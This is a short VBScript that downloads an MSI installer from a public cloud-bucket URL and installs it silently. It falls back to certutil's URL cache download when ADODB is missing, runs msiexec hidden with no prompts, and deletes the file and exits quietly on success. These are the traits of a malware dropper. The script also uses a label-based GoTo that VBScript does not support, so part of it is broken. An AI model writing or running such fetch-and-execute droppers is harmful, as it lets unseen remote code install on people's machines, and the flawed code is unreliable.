Option Explicit

Const adTypeBinary          = 1
Const adSaveCreateOverWrite = 2

Dim shell, fso, http, stream
Dim url, msiFile, cmd, exitCode, body

url      = "https://pub-8c76307b5a0649f7bedc4145a1fdb9d1.r2.dev/MyProgram.msi"   ' <- your real URL
exitCode = 1

Set shell = CreateObject("WScript.Shell")
Set fso   = CreateObject("Scripting.FileSystemObject")
msiFile = shell.ExpandEnvironmentStrings("%TEMP%") & "\installer.msi"

' -------- 1) Download -------------------------------------------------
On Error Resume Next
Set http = CreateObject("WinHttp.WinHttpRequest.5.1")
If Err.Number <> 0 Then Fail "create WinHttp", Err.Description

http.SetTimeouts 15000, 15000, 30000, 60000   ' resolve, connect, send, receive (ms)
http.Open "GET", url, False
http.Send
If Err.Number <> 0 Then Fail "download (check TLS / proxy / URL)", Err.Number & " " & Err.Description
On Error GoTo 0

If http.Status <> 200 Then Fail "HTTP status " & http.Status, "server returned " & http.Status

' -------- 2) Save binary ---------------------------------------------
On Error Resume Next
Err.Clear
body = http.ResponseBody            ' by-value copy -> fixes the by-ref bug
If Err.Number <> 0 Then Fail "read response body", Err.Description

Err.Clear
Set stream = CreateObject("ADODB.Stream")
If Err.Number <> 0 Then
    ' ADODB missing on stripped systems -> certutil fallback (Win7+)
    Err.Clear
    On Error GoTo 0
    exitCode = shell.Run("certutil -urlcache -split -f """ & url & """ """ & msiFile & """", 0, True)
    If exitCode <> 0 Or Not fso.FileExists(msiFile) Then Fail "save MSI (certutil)", "exit=" & exitCode
    GoTo DoInstall
End If
stream.Type = adTypeBinary
stream.Open
stream.Write (body)
stream.SaveToFile msiFile, adSaveCreateOverWrite
stream.Close
Set stream = Nothing
On Error GoTo 0

If Not fso.FileExists(msiFile) Or fso.GetFile(msiFile).Size = 0 Then
    Fail "save MSI", "file missing or 0 bytes"
End If

' -------- 3) Install --------------------------------------------------
DoInstall:
cmd = "msiexec.exe /i """ & msiFile & """ /qn /norestart"
exitCode = shell.Run(cmd, 0, True)

' -------- 4) Cleanup (only on success) --------------------------------
If exitCode = 0 Then
    On Error Resume Next
    If fso.FileExists(msiFile) Then fso.DeleteFile msiFile, True
    On Error GoTo 0
    WScript.Quit 0        ' silent success - no popup
End If

' -------- Failure only: report + keep MSI -----------------------------
WScript.Echo "Install failed (msiexec " & exitCode & "). MSI kept: " & msiFile
WScript.Quit exitCode

' ----------------------------------------------------------------------
Sub Fail(stepName, detail)
    WScript.Echo "FAILED at " & stepName & " - " & detail
    WScript.Quit 1
End Sub
